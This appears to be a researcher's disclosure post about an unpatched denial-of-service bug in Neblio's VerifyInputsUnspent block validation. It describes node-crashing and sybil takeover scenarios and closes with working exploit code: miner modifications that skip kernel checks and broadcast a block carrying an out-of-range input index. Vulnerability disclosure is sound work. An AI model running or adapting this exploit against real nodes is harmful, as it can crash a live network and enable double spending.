Welcome back. Last time we explained how Neblio's attempt to fix the DoS vulnerability we reported many months ago did not actually work and that it only addressed our specific exploit implementation. We explained how to perform this attack against the latest production version that was running the network.
Our last report was rejected by a prominent Neblio's developer as inaccurate and marked as a troll post. The claim was not supported by any evidence. It was not explained why would the modified attack fail. It would be nice to receive an explanation of that in a comment to our post. We invite anyone to prove us wrong, especially because it's quite obvious that just checking against a checkpoint does not fix anything.
We would like to make it clear today that there is no need to troll Neblio. It is simply one of the most insecure chains we've ever seen. The implementation is full of security holes that can be exploited as well as obviously bad design decisions. So, instead of trolling, we can just present verifiable facts. To support our claim about the poor security of this code, we are going to provide the actual evidence in form of another critical bug.
We can summarise the Neblio's attempts to fix Fake Stake attack as poorly implementing an inefficient validation mechanism that makes the node much more vulnerable to attacks than it was before these fixes were implemented. The vulnerability described below is not fixed at the moment and it affects nodes on the current Neblio main network.
Unchecked Input in VerifyInputsUnspent
Bug type: DoS
Bug severity: 6/10
Scenario 1
Attacker cost: very low
In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on a publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to restart their nodes.
Scenario 2
Attacker cost: medium
In this scenario, the attacker buys a nontrivial amount of coins and she also performs a sybil attack against the network – this means she will create a large number of fully operational public nodes. Then she will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create a longest chain with just a fractional stake, compared to the original staking power of the network. With just a fraction of the network staking power, the difficulty will go down quickly because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending. Also in this case, non-public nodes will be connected to attacker's nodes, so it is possible here to crash them as well.
Description
VerifyInputsUnspent is a function implemented to protect against Fake Stake attack, in which the attacker could cause memory exhaustion denial of service and thus disable the target node completely. We have already reported before that the implementation of this function actually introduced even better opportunity to cause another kind of denial of service.
We now present even more efficient attack to instantly crash the target node using the code of VerifyInputsUnspent. Let's look at the vulnerable part of this function:
std::unordered_map<uint256, CTxIndex>& queuedTxs = alternateChainTxs.modifiedOutputsTxs;
...
for (const CTransaction& tx : vtx) {
...
{
// if an output in the transaction is spent in the same block, it should also be found in the
// queued transactions list in order for the tests below to work because it's not in the
// blockchain yet
auto it = queuedTxs.find(tx.GetHash());
if (it == queuedTxs.cend()) {
// unspent tx (all vSpent are null)
CTxIndex txindex(CDiskTxPos(this->GetHash(), 2), tx.vout.size());
queuedTxs[tx.GetHash()] = txindex;
}
}
// coinbase don't have any inputs
if (tx.IsCoinBase()) {
continue;
}
// loop over inputs of this transaction, and check whether the outputs are already spent
const std::vector<CTxIn>& vin = tx.vin;
for (unsigned int inIdx = 0; inIdx < vin.size(); inIdx++) {
uint256 outputTxHash = vin[inIdx].prevout.hash;
unsigned outputNumInTx = vin[inIdx].prevout.n;
CTxIndex txindex;
auto it = queuedTxs.find(vin[inIdx].prevout.hash);
bool inputFoundInQueue = (it != queuedTxs.cend());
if (inputFoundInQueue) {
if (it->second.vSpent[outputNumInTx].IsNull()) {
// tx is not spent yet, so we mark it as spent
it->second.vSpent[outputNumInTx] = CreateFakeSpentTxPos(this->GetHash());
} else {
...
Here we have a map called queuedTxs whose keys are transaction hashes and values are CTxIndex objects. This map is initialised through complex logic not shown above. Importantly, we can see above that when a new block arrives and it is analysed by this function, every transaction in the block is added to this map unless it was there already. Then, as shown above again, for every input's prevout of every transaction we try to find corresponding CTxIndex in the map. The code above shows the case in which this prevout hash is present in the map, in which case we work with the transaction's vSpent vector.
Nowhere in the code is being checked that outputNumInTx is a sane number. Also notably, VerifyInputsUnspent is called very early during block validation process, hence at that time the node still does not know if the block was staked correctly – i.e. it was not checked if the coinstake's kernel input is valid. Combining these two properties, we can now create a very simple attack that crashes the node instantly.
The attacker creates almost arbitrary block with a bogus coinstake transaction and adds a single special transaction to the block. To do this, the attacker does not need any coins. The special transaction has a single input, which hash is the hash of the coinbase transaction of this block. The input's output index n is then some crazy big number. This block is sent to the target nodes. When they receive a block, they will call VerifyInputsUnspent on it and they will process its coinbase and coinstake transactions with the code above. This will add hashes of those transactions to queuedTxs mapped to their corresponding CTxIndex objects. Then the special transaction is processed and its first input's hash is found in the map. The code then tries to access vSpent vector at non-existing memory address, which causes the node to crash on invalid memory access.
The exploit code is very simple as just minor changes are needed to the normal miner flow. For simplicity, we have implemented the code in a way it requires a coin of arbitrary value and old enough for staking to be available in the miner's wallet, this is not a general requirement, however.
First, in CreateCoinStake method we comment out kernel hash checks:
//if (CheckStakeKernelHash(nBits, block, txindex.pos.nTxPos, *pcoin.first, prevoutStake,
// txNew.nTime - n, hashProofOfStake, targetProofOfStake))
This will make sure that any attempt to stake with any kind of coin will immediately succeeds. This is the simplest way of creating a good-looking block skeleton. Then the following goes to StakeMiner function:
CBlockIndexSmartPtr pTip = pindexBest;
int64_t nFees;
boost::interprocess::unique_ptr<CBlock, GenericDeleter<CBlock>> pblock(CreateNewBlock(pwallet, true, &nFees));
if (!pblock.get())
return;
CTransaction txBad1;
txBad1.vin.push_back(CTxIn(pblock->vtx[0].GetHash(), 0x12345678));
txBad1.vout.push_back(CTxOut(1000, CScript() << OP_RETURN << ParseHex("")));
pblock->vtx.push_back(txBad1);
// Trying to sign a block
if (pblock->SignBlock(*pwallet, nFees)) {
SetThreadPriority(THREAD_PRIORITY_NORMAL);
{
LOCK(cs_vNodes);
BOOST_FOREACH(CNode* pnode, vNodes) {
pnode->PushMessage("block", *pblock);
}
}
SetThreadPriority(THREAD_PRIORITY_LOWEST);
} else {
MilliSleep(nMinerSleep);
}